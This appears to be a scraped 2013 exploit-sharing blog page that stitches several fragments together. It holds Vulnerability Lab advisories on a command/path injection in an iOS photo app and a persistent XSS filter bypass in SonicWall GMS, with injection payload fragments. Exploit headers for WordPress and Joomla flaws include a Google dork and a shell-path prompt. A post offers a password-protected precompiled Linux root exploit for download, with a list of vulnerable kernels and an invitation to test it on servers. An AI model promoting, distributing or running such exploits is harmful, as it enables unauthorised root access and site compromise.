 5. Open the local web-server url <a href="http://localhost:6688/">http://localhost:6688/</a> (default link)
 6. The local path/command execute occurs in the album name value of the photoGallery_head class
 7. Successful reproduce of the vulnerability! 
 
 
 PoC: Album Name - photoGallery_head in the Album Sub Category List
 
 <div class="header">
 <div class="logo"> <a href="index.html"><img src="images/logo.png" alt="logo"></a> </div>
 <div class="title"><a href="index.html"><img src="images/title4.png" alt="logo"></a></div>
 <div class="button"><a href="upload.html"><img src="images/anniuda2.png" alt=" "></a></div>
 <div class="photoGallery_head">
 <div class="phga_hd_left">Album : ">%20<x src=\..\<../[COMMAND/PATH INJECT VULNERABILITY IN ALBUM NAME BY photoGallery_head CLASS!]></div>
 <div class="phga_hd_right">
 <input value="Zurück zur Sammlung" class="back" type="button">
 </div>
 </div>
 </div>
 
 
 PoC: Album Name - photoalbum in the Album Index List
 
 <div class="photo_list">
 <dl><dt class="photoalbum" alt="D579B80C-B73D-4A16-9379-FB29A6CFC12C"><a href="albumhtm?id=D579B80C-B73D-4A16-9379-FB29A6CFC12C">
 <img src="/albumimg_D579B80C-B73D-4A16-9379-FB29A6CFC12C.jpg" height="100" width="100"></a></dt>
 <dd>>%20<x src=\..\<../[COMMAND/PATH INJECT VULNERABILITY IN ALBUM NAME BY photoalbum!]>(125)</dd></dl> 
 <dl><dt class="photoalbum" alt="632F9F75-1B7A-41E4-8070-E62B1ECC780A"><a href="albumhtm?id=632F9F75-1B7A-41E4-8070-E62B1ECC780A">
 <img src="/albumimg_632F9F75-1B7A-41E4-8070-E62B1ECC780A.jpg" height="100" width="100"></a></dt><dd>Fotoarchiv(0)</dd></dl> 
 <dl><dt class="photoalbum" alt="C44B3062-3A67-4BFA-AF16-04CC8DE2CD29"><a href="albumhtm?id=C44B3062-3A67-4BFA-AF16-04CC8DE2CD29">
 <img src="/albumimg_C44B3062-3A67-4BFA-AF16-04CC8DE2CD29.jpg" height="100" width="100"></a></dt><dd>WallpapersHD(3)</dd></dl> 
 
 
 Reference(s):
 <a href="http://localhost:6688/index.html">http://localhost:6688/index.html</a>
 <a href="http://localhost:6688/albumhtm">http://localhost:6688/albumhtm</a>
 <a href="http://localhost:6688/albumhtm?id=">http://localhost:6688/albumhtm?id=</a>
 <a href="http://localhost:6688/albumhtm?id=D579B80C-B73D-4A16-9379-FB29A6CFC12C">http://localhost:6688/albumhtm?id=D579B80C-B73D-4A16-9379-FB29A6CFC12C</a>
 
 
 Solution - Fix & Patch:
 =======================
 The vulnerability can be patched by a secure encode and parse of the vulnerable album name value. 
 Parse and filter also the index and sub category output list to ensure it prevents local command/path requests.
 
 
 Security Risk:
 ==============
 The security risk of the local command/path inject web vulnerability is estimated as high.
 
 
 Credits & Authors:
 ==================
 Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (<a href="mailto:bkm@evolution-sec.com">bkm@evolution-sec.com</a>) [<a href="http://www.vulnerability-lab.com">www.vulnerability-lab.com</a>]
 
 
 Disclaimer & Information:
 =========================
 The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
 either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
 Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
 profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
 states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
 may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
 or trade with fraud/stolen material.
 
 Domains: <a href="http://www.vulnerability-lab.com">www.vulnerability-lab.com</a> 	- <a href="http://www.vuln-lab.com">www.vuln-lab.com</a>			 - <a href="http://www.evolution-sec.com">www.evolution-sec.com</a>
 Contact: <a href="mailto:admin@vulnerability-lab.com">admin@vulnerability-lab.com</a> 	- <a href="mailto:research@vulnerability-lab.com">research@vulnerability-lab.com</a> 	 - <a href="mailto:admin@evolution-sec.com">admin@evolution-sec.com</a>
 Section: <a href="http://www.vulnerability-lab.com/dev">www.vulnerability-lab.com/dev</a> 	- <a href="http://forum.vulnerability-db.com">forum.vulnerability-db.com</a> 		 - <a href="http://magazine.vulnerability-db.com">magazine.vulnerability-db.com</a>
 Social:	 <a href="http://twitter.com/#!/vuln_lab">twitter.com/#!/vuln_lab</a> 		- <a href="http://facebook.com/VulnerabilityLab">facebook.com/VulnerabilityLab</a> 	 - <a href="http://youtube.com/user/vulnerability0lab">youtube.com/user/vulnerability0lab</a>
 Feeds:	 <a href="http://vulnerability-lab.com/rss/rss.php">vulnerability-lab.com/rss/rss.php</a>	- <a href="http://vulnerability-lab.com/rss/rss_upcoming.php">vulnerability-lab.com/rss/rss_upcoming.php</a> - <a href="http://vulnerability-lab.com/rss/rss_news.php">vulnerability-lab.com/rss/rss_news.php</a>
 
 Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
 Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
 media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
 other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
 modify, use or edit our material contact (<a href="mailto:admin@vulnerability-lab.com">admin@vulnerability-lab.com</a> or <a href="mailto:research@vulnerability-lab.com">research@vulnerability-lab.com</a>) to get a permission.
 
 				Copyright © 2013 | Vulnerability Laboratory [Evolution Security]
 
 
 
 -- 
 VULNERABILITY LABORATORY RESEARCH TEAM
 DOMAIN: <a href="http://www.vulnerability-lab.com">www.vulnerability-lab.com</a>
 CONTACT: <a href="mailto:research@vulnerability-lab.com">research@vulnerability-lab.com</a>

Wireless Transfer App 3.7 iOS - Multiple Web Vulnerabilities

Document Title: =============== Wireless Transfer App 3.7 iOS - Multiple Web Vulnerabilities References (Source): ==================...

Sonicwall GMS v7.x - Filter Bypass & Persistent Vulnerability (0Day)

Document Title:
 ===============
 Sonicwall GMS v7.x - Filter Bypass & Persistent Vulnerability
 
 
 References (Source):
 ====================
 <a href="http://www.vulnerability-lab.com/get_content.php?id=1099">http://www.vulnerability-lab.com/get_content.php?id=1099</a>
 
 Bulletin: Dell SonicWALL GMS Service Bulletin for Cross-Site Scripting Vulnerability
 <a href="http://www.sonicwall.com/us/shared/download/Support_Bulletin_GMS_Vulnerability_Hotfix_134235.pdf">http://www.sonicwall.com/us/shared/download/Support_Bulletin_GMS_Vulnerability_Hotfix_134235.pdf</a>
 
 
 Release Date:
 =============
 2013-12-05
 
 
 Vulnerability Laboratory ID (VL-ID):
 ====================================
 1099
 
 
 Common Vulnerability Scoring System:
 ====================================
 4.1
 
 
 Product & Service Introduction:
 ===============================
 Dell SonicWALL`s management and reporting solutions provide a comprehensive architecture for centrally creating and managing 
 security policies, providing real-time monitoring and alerts, and delivering intuitive compliance and usage reports, all from 
 a single management interface. Whether your organization is a small- or medium-sized business, a distributed enterprise or a 
 managed service provider, Dell™ SonicWALL™ offers software and appliance solutions to meet its needs.
 
 The award-winning Dell SonicWALL Global Management System (GMS®) provides organizations, distributed enterprises and service 
 providers with a flexible, powerful and intuitive solution to centrally manage and rapidly deploy SonicWALL firewall, anti-spam, 
 backup and recovery, and secure remote access solutions. Flexibly deployed as software, hardware—in the form of the Universal 
 Management Appliance (UMA)—or a virtual appliance, SonicWALL GMS also provides centralized real-time monitoring and comprehensive 
 policy and compliance reporting to drive down the cost of owning and managing SonicWALL security appliances. Multiple GMS 
 software, hardware, and virtual appliance agents, when deployed in a cluster, can scale to manage thousands of SonicWALL 
 security appliances. This makes GMS an ideal solution for small- to medium-sized businesses, enterprises and managed service 
 providers that have either single-site or distributed multi-site environments.
 
 (Copy of the Vendor Homepage: <a href="http://www.sonicwall.com/emea/en/products/Centralized_Management_Reporting.html">http://www.sonicwall.com/emea/en/products/Centralized_Management_Reporting.html</a> )
 
 
 Abstract Advisory Information:
 ==============================
 The Vulnerability Laboratory Research Team discovered a persistent validation vulnerability in the DELL SonicWall GMS v7.1.x Appliance Web-Application.
 
 
 Vulnerability Disclosure Timeline:
 ==================================
 2013-09-26:	Researcher Notification & Coordination (Benjamin Kunz Mejri)
 2013-09-27:	Vendor Notification (DELL SonicWall Security Team)
 2013-10-09:	Vendor Response/Feedback (DELL SonicWall Security Team)
 2013-12-04:	Vendor Fix/Patch ( DELL SonicWall Developer Team)
 2013-12-05:	Public Disclosure (Vulnerability Laboratory)
 
 
 Discovery Status:
 =================
 Published
 
 
 Affected Product(s):
 ====================
 DELL SonicWall
 Product: GMS Networks Appliance Application 7.1
 
 
 Exploitation Technique:
 =======================
 Remote
 
 
 Severity Level:
 ===============
 High
 
 
 Technical Details & Description:
 ================================
 A persistent input validation web vulnerability has been discovered in the official DELL SonicWall GMS v7.1.x Appliance Web-Application.
 The bug allows an attacker (remote) to implement/inject own malicious malicious script codes on the application-side (persistent).
 
 The persistent vulnerability is located in the `valfield_1` & `value_1` value parameters of the `Alert Settings` module POST method request.
 Remote attackers with low privileged application user account can inject own script codes to the POST method request of the createNewThreshold.jsp 
 appliance application file. After the inject the attacker is able to update and save the values to continue with the execute the main alert 
 settings module. The execute of the script code occurs in the ematStaticAlertTypes.jsp file context by the earlier manipulated vulnerable values.
 
 To bypass the filter it is required to split the request by attaching a double frame for the script code execute. The restricted application itself 
 disallows the POST request of guest by usage of the unrestricted context POST method request attackers are able to bypass the filter & exception-handling.
 
 The security risk of the persistent input validation web vulnerability is estimated as high(-) with a cvss (common vulnerability scoring system) 
 count of 4.1(+). The coordinated disclosure procedure of the remote vulnerability has been navigated by the product manager Wilson Lee (DELL). 
 The hotfix and information has been provided in cooperation with the vulnerability-laboratory.
 
 Exploitation of the persistent web vulnerability requires low user interaction and a local low privileged (guest) web application user account. 
 Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent web attacks, 
 persistent phishing or persistent manipulation of vulnerable module context.
 
 Vulnerable Application(s):
 				[+] DELL - SonicWall GMS v7.1.x Appliance Application
 
 Vulnerable Module(s):
 				[+] Alert Settings > NewThreshold
 
 Vulnerable File(s):
 				[+] createNewThreshold.jsp > ematStaticAlertTypes.jsp
 
 Vulnerable Parameter(s):
 				[+] valfield_1
 				[+] value_1
 
 Affected Module(s):
 				[+] createNewThreshold
 				[+] ematStaticAlertTypes
 				[+] Alert Settings - Main Listing
 
 Affected Product(s):
 				[+] Dell SonicWALL GMS
 				[+] Dell SonicWALL Analyzer
 				[+] Dell SonicWALL UMA E5000
 
 
 Proof of Concept (PoC):
 =======================
 The persistent input validation web vulnerability can be exploited by remote attackers with low privileged or restricted guest accounts and 
 low user interaction. For security demonstration or reproduce the vulnerability follow the information and steps below.
 
 
 Location: Alert Settings
 <a href="http://gms.localhost:8080/sgms/panelManager?panelidz=1&level=1&typeOfUnits=0#">http://gms.localhost:8080/sgms/panelManager?panelidz=1&level=1&typeOfUnits=0#</a>
 
 Inject via Add: Edit contents for alert type: Backed-Up Syslog Files
 <a href="http://gms.localhost:8080/sgms/ematStaticAlertTypes.jsp">http://gms.localhost:8080/sgms/ematStaticAlertTypes.jsp</a>?
 
 Execute: Create New Threshold
 <a href="http://gms.localhost:8080/sgms/createNewThreshold.jsp">http://gms.localhost:8080/sgms/createNewThreshold.jsp</a>?
 
 Affected:
 <a href="http://gms.localhost:8080/sgms/auth">http://gms.localhost:8080/sgms/auth</a>
 
 
 
 Manual steps to reproduce ...
 
 1. Open the Sonicwall GMS appliance application and login with full restrictions as guest
 2. Switch to the vulnerable Console > Events > Alert Settings section
 3. Click Add Alert and a new blank window of the application will be opened
 4. Click in the upcomings window in the Alert Types section the Edit Content link
 5. Now, a new window opens "Edit contents for alert type: Backup Sys-Log Files
 6. On top is a little plus button next to the Threshold value
 9. A new window opens with Elements box ... Inject your payload (script code) to the description eval in the operator fields
 10. After the inject to the input fields the attacker only needs to click the Add Element button on the buttom of the page
 11. The code will be directly executed and is persistent saved as element in the specific section
 12. Save the input via update and go back to the alert settings main section were the code execute occurs in the same connected value
 13. Successful reproduced!
 
 
 
 PoC: Alert Settings - Create New Threshold
 
 Critical</option></select> </td><td class="tblData2" width="1">
 <img src="Create%20New%20Threshold_files/1x1trans.gif"></td><td class="tblData2" align="center" 
 nowrap="nowrap"><input class="controlFont" name="disabled" value="1" type="checkbox"></td>
 <td class="tblData2" width="1"><img src="Create%20New%20Threshold_files/1x1trans.gif"></td>
 <td class="tblData2" align="center" nowrap="nowrap"><a href="#" onclick="deleteElement(1);">
 <img src="Create%20New%20Threshold_files/trash.gif" alt="Delete this destination" border="0"></a></td>
 <td class="tblData2" width="1"><img src="Create%20New%20Threshold_files/1x1trans.gif"></td></tr><tr><td></td>
 <td class="tblData2" width="1"><img src="Create%20New%20Threshold_files/1x1trans.gif"></td><td colspan="5" 
 class="tblData2" align="left" nowrap="nowrap"> Description: 
 <input class="controlfont" size="64" name="description" 
 value="is equal to >" <[PERSISTENT INJECTED SCRIPT CODE!]" type="text"> >"<[PERSISTENT INJECTED SCRIPT CODE!]">"
 onkeyup="enableAutoDesc(1,0);"></td><td class="tblData2" 
 width=1><img src="images/1x1trans.gif"></td>
 
 
 Note: Please, feel free to read also the patch information provided in the solution section of the advisory document.
 
 
 Solution - Fix & Patch:
 =======================
 The vulnerability can be patched by a secure parse, prevention filter mechanism or clean encode of the vulnerable value_1 and valfield_1 parameters.
 Also restrict and escape the affected input field and output listing in the connected modules.
 
 Resolution (DELL SonicWall):
 We recommend existing users of Dell SonicWALL GMS/Analyzer/UMA 7.1 to apply SP1 (if they have not already done so), and then apply Hotfix 134235 to prevent cross-site scripting by unauthorized users. 7.1 SP1 and the Hotfix are available for download from <a href="http://www.mysonicwall.com">www.mysonicwall.com</a>. Users should log into mySonicWALL and click on Downloads > Download Center in the navigation panel on the left, then select "GMS/Analyzer" in the Software Type drop down menu.
 
 
 Security Risk:
 ==============
 The security risk of the persistent input validation web vulnerability with filter bypass is estimated as medium(+).
 
 
 Credits & Authors:
 ==================
 Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (<a href="mailto:bkm@evolution-sec.com">bkm@evolution-sec.com</a>) [<a href="http://www.vulnerability-lab.com">www.vulnerability-lab.com</a>]
 
 
 Disclaimer & Information:
 =========================
 The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
 either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
 Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
 profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
 states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
 may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
 or trade with fraud/stolen material.
 
 Domains: <a href="http://www.vulnerability-lab.com">www.vulnerability-lab.com</a> 	- <a href="http://www.vuln-lab.com">www.vuln-lab.com</a>			 - <a href="http://www.evolution-sec.com">www.evolution-sec.com</a>
 Contact: <a href="mailto:admin@vulnerability-lab.com">admin@vulnerability-lab.com</a> 	- <a href="mailto:research@vulnerability-lab.com">research@vulnerability-lab.com</a> 	 - <a href="mailto:admin@evolution-sec.com">admin@evolution-sec.com</a>
 Section: <a href="http://www.vulnerability-lab.com/dev">www.vulnerability-lab.com/dev</a> 	- <a href="http://forum.vulnerability-db.com">forum.vulnerability-db.com</a> 		 - <a href="http://magazine.vulnerability-db.com">magazine.vulnerability-db.com</a>
 Social:	 <a href="http://twitter.com/#!/vuln_lab">twitter.com/#!/vuln_lab</a> 		- <a href="http://facebook.com/VulnerabilityLab">facebook.com/VulnerabilityLab</a> 	 - <a href="http://youtube.com/user/vulnerability0lab">youtube.com/user/vulnerability0lab</a>
 Feeds:	 <a href="http://vulnerability-lab.com/rss/rss.php">vulnerability-lab.com/rss/rss.php</a>	- <a href="http://vulnerability-lab.com/rss/rss_upcoming.php">vulnerability-lab.com/rss/rss_upcoming.php</a> - <a href="http://vulnerability-lab.com/rss/rss_news.php">vulnerability-lab.com/rss/rss_news.php</a>
 
 Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
 Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
 media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
 other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
 modify, use or edit our material contact (<a href="mailto:admin@vulnerability-lab.com">admin@vulnerability-lab.com</a> or <a href="mailto:research@vulnerability-lab.com">research@vulnerability-lab.com</a>) to get a permission.
 
 				Copyright © 2013 | Vulnerability Laboratory [Evolution Security]
 
 
 
 -- 
 VULNERABILITY LABORATORY RESEARCH TEAM
 DOMAIN: <a href="http://www.vulnerability-lab.com">www.vulnerability-lab.com</a>
 CONTACT: <a href="mailto:research@vulnerability-lab.com">research@vulnerability-lab.com</a>

Sonicwall GMS v7.x - Filter Bypass & Persistent Vulnerability (0Day)

Document Title: =============== Sonicwall GMS v7.x - Filter Bypass & Persistent Vulnerability References (Source): =============...

WordPress dzs-videogallery Plugins Remote File Upload Vulnerability

<div class="separator" style="clear: both; text-align: center;">
<a href="http://1337day.com/img/logo_green2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="51" src="http://1337day.com/img/logo_green2.jpg" width="320" /></a></div>
<h2>
WordPress dzs-videogallery Plugins Remote File Upload Vulnerability</h2>
<div class="line number2 index1 alt1">
<code class="plain plain"># Exploit Title: WordPress dzs-videogallery Plugins Remote File Upload Vulnerability</code></div>
<div class="line number3 index2 alt2">
<code class="plain plain"># Author: iskorpitx</code></div>
<div class="line number4 index3 alt1">
<code class="plain plain"># Date: 22/11/2013</code></div>
<div class="line number5 index4 alt2">
<code class="plain plain"># Vendor Homepage: <a href="http://digitalzoomstudio.net/">http://digitalzoomstudio.net</a></code></div>
<div class="line number6 index5 alt1">
<code class="plain plain"># Themes Link: <a href="http://digitalzoomstudio.net/docs/wpvideogallery/">http://digitalzoomstudio.net/docs/wpvideogallery/</a></code></div>
<div class="line number7 index6 alt2">
<code class="plain plain"># Infected File: upload.php</code></div>
<div class="line number8 index7 alt1">
<code class="plain plain"># Category: webapps</code></div>
<div class="line number9 index8 alt2">
<code class="plain plain"># Google dork:inurl:/wp-content/plugins/dzs-videogallery/</code></div>
<div class="line number10 index9 alt1">
<code class="plain plain"># Tested on : Windows/Linux</code></div>
<div class="line number10 index9 alt1">
<code class="plain plain"> </code></div>
<div class="line number10 index9 alt1">
<code class="plain plain">Source : <a href="http://1337day.com/exploit/21597">http://1337day.com/exploit/21597</a> </code></div>
<h2>
 </h2>

WordPress dzs-videogallery Plugins Remote File Upload Vulnerability

WordPress dzs-videogallery Plugins Remote File Upload Vulnerability # Exploit Title: WordPress dzs-videogallery Plugins Remote File Upl...

Joomla JMultimedia Command Execution Exploit

<div class="line number1 index0 alt2">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1337day.com/img/logo_green2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="51" src="http://1337day.com/img/logo_green2.jpg" width="320" /></a></div>
<h2>
</h2>
<h2>
Joomla JMultimedia Command Execution Exploit</h2>
</div>
<div class="line number1 index0 alt2">
<code class="perl preprocessor">#!/usr/bin/perl</code></div>
<div class="line number2 index1 alt1">
<code class="perl comments"># Exploit Title: com_jmultimedia Remote Command Execution</code></div>
<div class="line number3 index2 alt2">
<code class="perl comments"># Author: Deepankar Arora and Rafay Baloch</code></div>
<div class="line number4 index3 alt1">
<code class="perl comments"># Vendor: <a href="http://joomlacode.org/gf/project/denvideo/">http://joomlacode.org/gf/project/denvideo/</a></code></div>
<div class="line number5 index4 alt2">
<code class="perl comments"># Enter the target in this form --> <a href="http://victim.com/">http://victim.com/</a></code></div>
<div class="line number6 index5 alt1">
<code class="perl comments"># Change shell path to your own, if needed</code></div>
<div class="line number6 index5 alt1">
<code class="perl comments"> </code></div>
<div class="line number6 index5 alt1">
<code class="perl comments">Source : <a href="http://1337day.com/exploit/21591">http://1337day.com/exploit/21591</a> </code></div>

Joomla JMultimedia Command Execution Exploit

Joomla JMultimedia Command Execution Exploit #!/usr/bin/perl # Exploit Title: com_jmultimedia Remote Command Execution # Author...

Linux Kernel 2.6.18-374 Local root Exploit

Linux Kernel 2.6.18-374 Local root Exploit 
<code class="plain plain">/*</code> 
<div class="line number20 index19 alt1">
<code class="plain spaces"> </code><code class="plain plain">* [+] Linux Kernel 2.6.18-374 Local root Exploit</code></div>
<div class="line number21 index20 alt2">
<code class="plain spaces"> </code><code class="plain plain">* [-] Found by Angel Injection</code></div>
<div class="line number22 index21 alt1">
<code class="plain spaces"> </code><code class="plain plain">* [-] Version: 2.6.18-374</code></div>
<div class="line number23 index22 alt2">
<code class="plain spaces"> </code><code class="plain plain">* [-] Security -::RISK: High</code></div>
<div class="line number24 index23 alt1">
<code class="plain spaces"> </code><code class="plain plain">* [-] platforms: linux</code></div>
<div class="line number25 index24 alt2">
<code class="plain spaces"> </code><code class="plain plain">* [-] <a href="http://1337day.com/">http://1337day.com</a> <a href="http://r00tw0rm.com/">http://r00tw0rm.com</a> <a href="http://i313.cc/">http://i313.cc</a></code></div>
<div class="line number26 index25 alt1">
<code class="plain spaces"> </code><code class="plain plain">* [-] Note: Exploit Found <a href="http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c">http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c</a></code></div>
<div class="line number27 index26 alt2">
<code class="plain spaces"> </code><code class="plain plain">*/</code></div>
 
Source: <a href="http://1337day.com/exploit/18859">http://1337day.com/exploit/18859</a>

Linux Kernel 2.6.18-374 Local root Exploit

Linux Kernel 2.6.18-374 Local root Exploit /* * [+] Linux Kernel 2.6.18-374 Local root Exploit * [-] Found by Angel Injection ...

Local Root Exploit For Linux Kernel 2.6.32 2012-2013

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfz7BbkDxLulXIkcn97q4H7fDM3RVKLo6NOrI_iOrPu5h_KdK_M2JUxzNrEYtf2RzI7cQ87YIOweVVF9RGwfILL7JQ0p35luEVUvL6VflNSxbHCkqx_hYR060esoGHU2hlyp7HjrID_XU/s1600/root.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfz7BbkDxLulXIkcn97q4H7fDM3RVKLo6NOrI_iOrPu5h_KdK_M2JUxzNrEYtf2RzI7cQ87YIOweVVF9RGwfILL7JQ0p35luEVUvL6VflNSxbHCkqx_hYR060esoGHU2hlyp7HjrID_XU/s320/root.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
Download <a href="http://www.mediafire.com/download/jc8jkj6uu9nh2k6/2.6.32_2013.zip" target="_blank">here</a></div>
Zip Password: *pakmadhunters* 
 
Note:  
Its a
 pre-compiled exploit and has been verified for list servers. It might 
working on other 2.6.32-X kernels too. So, test it and update us in comments. Thanks. 
Following is the list of vulnerable kernels which can be rooted with our exploit. 
 
Vulnerable
Kernels: 
 
Linux localhost.domain 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 x86_64
 
Linux localhost.domain 2.6.32-358.6.1.el6.x86_64 #1 SMP Tue Apr 23 19:29:00 UTC 2013 x86_64
 
Linux localhost.domain 2.6.32-279.19.1.el6.x86_64 #1 SMP Wed Dec 19 07:05:20 UTC 2012 x86_64
 
Linux localhost.domain 2.6.32-279.22.1.el6.x86_64 #1 SMP Wed Feb 6 03:10:46 UTC 2013 x86_64
 
Linux localhost.domain 3.2.2-ipprojects #4 SMP Fri Feb 3 15:53:51 CET 2012 x86_64
 
Linux localhost.domain 2.6.32-042stab076.5 #1 SMP Mon Mar 18 20:41:34 MSK 2013 x86_64
 
Linux localhost.domain 2.6.32-220.4.1.el6.x86_64 #1 SMP Tue Jan 24 02:13:44 GMT 2012 x86_64
 
Linux localhost.domain 2.6.32-379.22.1.lve1.2.17.el6.x86_64 #1 SMP Wed Apr 3 12:05:42 EEST 2013 x86_64
 
Linux localhost.domain 2.6.32-042stab068.8 #1 SMP Fri Dec 7 17:06:14 MSK 2012 x86_64
 
Linux localhost.domain 2.6.32-379.22.1.lve1.2.14.el6.x86_64 #1 SMP Wed Mar 6 15:12:30 EET 2013 x86_64
 
Linux localhost.domain 2.6.32-379.19.1.lve1.2.6.el6.x86_64 #1 SMP Fri Jan 18 10:16:30 EST 2013 x86_64
 
Linux localhost.domain 2.6.32-042stab053.5 #1 SMP Tue Mar 27 11:42:17 MSD 2012 x86_64
 
Linux localhost.domain 2.6.32-279.el6.x86_64 #1 SMP Fri Jun 22 12:19:21 UTC 2012 x86_64
 
Linux localhost.domain 3.2.0-0.bpo.3-amd64 #1 SMP Thu Aug 23 07:41:30 UTC 2012 x86_64
 
Linux localhost.domain 2.6.32-358.0.1.el6.x86_64 #1 SMP Wed Feb 27 06:06:45 UTC 2013 x86_64
 
Linux localhost.domain 2.6.32-042stab061.2 #1 SMP Fri Aug 24 09:07:21 MSK 2012 x86_64
 
Linux localhost.domain 2.6.32-379.14.1.lve1.1.9.9.el6.x86_64 #1 SMP Thu Dec 6 07:12:24 EST 2012 x86_64
 
Linux localhost.domain 2.6.32-12-pve #1 SMP Tue May 15 06:02:20 CEST 2012 x86_64
 
Linux localhost.domain 2.6.32-131.21.1.el6.x86_64 #1 SMP Tue Nov 22 19:48:09 GMT 2011 x86_64
 
Linux localhost.domain 3.2.7 #1 SMP Sun Feb 26 23:00:18 CET 2012 x86_64
 
Linux localhost.domain 2.6.32-279.14.1.el6.x86_64 #1 SMP Tue Nov 6 23:43:09 UTC 2012 x86_64
 
Linux localhost.domain 2.6.32-379.22.1.lve1.2.17.el5h.x86_64 #1 SMP Wed Apr 3 14:28:52 EEST 2013 x86_64
 
Linux localhost.domain 2.6.32-320.4.1.lve1.1.4.el6.x86_64 #1 SMP Wed Mar 7 06:32:27 EST 2012 x86_64
 
Linux localhost.domain 2.6.32-220.7.1.el6.x86_64 #1 SMP Wed Mar 7 00:52:02 GMT 2012 x86_64
 
Linux localhost.domain 2.6.32-7-pve #1 SMP Mon Feb 13 07:33:21 CET 2012 x86_64
 
Linux localhost.domain 2.6.32-042stab062.2 #1 SMP Wed Oct 10 18:28:35 MSK 2012 x86_64
 
Linux localhost.domain 2.6.38 #5 SMP Sat Mar 19 13:19:08 CET 2011 x86_64
 
Linux localhost.domain 2.6.32 #1 SMP Wed Sep 5 22:46:20 MSK 2012 x86_64
 
Linux localhost.domain 2.6.32-379.19.1.lve1.2.7.el6.x86_64 #1 SMP Wed Jan 23 14:53:41 EST 2013 x86_64
 
Linux localhost.domain 3.2.0-0.bpo.2.dar-amd64 #1 SMP Fri Apr 27 18:23:24 MSK 2012 x86_64
 
Linux localhost.domain 2.6.32-16-pve #1 SMP Fri Nov 9 11:42:51 CET 2012 x86_64
 
Linux localhost.domain 2.6.32-220.17.1.el6.x86_64 #1 SMP Wed May 16 00:01:37 BST 2012 x86_64
 
Linux localhost.domain 2.6.32-279.9.1.el6.x86_64 #1 SMP Tue Sep 25 21:43:11 UTC 2012 x86_64
 
Linux localhost.domain 2.6.32-042stab065.3 #1 SMP Mon Nov 12 21:59:14 MSK 2012 x86_64
 
Linux localhost.domain 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
 
Linux localhost.domain 2.6.32-11-pve #1 SMP Wed Apr 11 07:17:05 CEST 2012 x86_64
 
Linux localhost.domain 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64
 
Linux localhost.domain 2.6.32-131.17.1.el6.x86_64 #1 SMP Thu Oct 6 19:24:09 BST 2011 x86_64
 
Linux localhost.domain 2.6.32-042stab072.10 #1 SMP Wed Jan 16 18:54:05 MSK 2013 x86_64
 
Linux localhost.domain 3.5.2 #1 SMP Thu Aug 23 17:07:20 CEST 2012 x86_64
 
Linux localhost.domain 2.6.32-220.el6.x86_64 #1 SMP Tue Dec 6 19:48:22 GMT 2011 x86_64
 
Linux localhost.domain 2.6.32-279.2.1.el6.x86_64 #1 SMP Fri Jul 20 01:55:29 UTC 2012 x86_64
 
Linux localhost.domain 3.2.20 #1 SMP Tue Aug 28 02:39:06 MSK 2012 x86_64
 
Linux localhost.domain 2.6.32-220.4.2.el6.x86_64 #1 SMP Tue Feb 14 04:00:16 GMT 2012 x86_64
 
Linux localhost.domain 2.6.32-279.5.1.el6.x86_64 #1 SMP Tue Aug 14 23:54:45 UTC 2012 x86_64
 
Linux localhost.domain 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 x86_64 GNU/Linux

Local Root Exploit For Linux Kernel 2.6.32 2012-2013

Download here Zip Password: *pakmadhunters* Note: Its a pre-compiled exploit and has been verified for list servers. It might w...

Hacking Windows 7 using Java JMX Applet & DNS spoofing attack in LAN with Metasploit & Ettercap

<div class="separator" style="clear: both; text-align: center;">
